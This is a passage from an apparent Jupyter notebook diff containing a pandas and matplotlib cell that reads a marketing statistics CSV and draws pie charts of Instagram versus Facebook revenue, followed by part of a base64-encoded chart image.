" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS5.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "r = list(df.iloc[:, 2])\n", + "k = [x[0], y[0]]\n", + "z = ['Instagram', 'Facebook']\n", + "plt.pie(k, labels = z)\n", + "plt.show()\n", + "plt.title(\"Total Revenue = [Instagram] + [Facebook]\")\n", + "l = [71, 29]\n", + "m = [\"Facebook + Instagram\", \"29%\"]\n", + "plt.pie(l, labels=m)\n", + "plt.show()" + ] + }, + { + "attachments": { + "image-2.png": { + "image/png": "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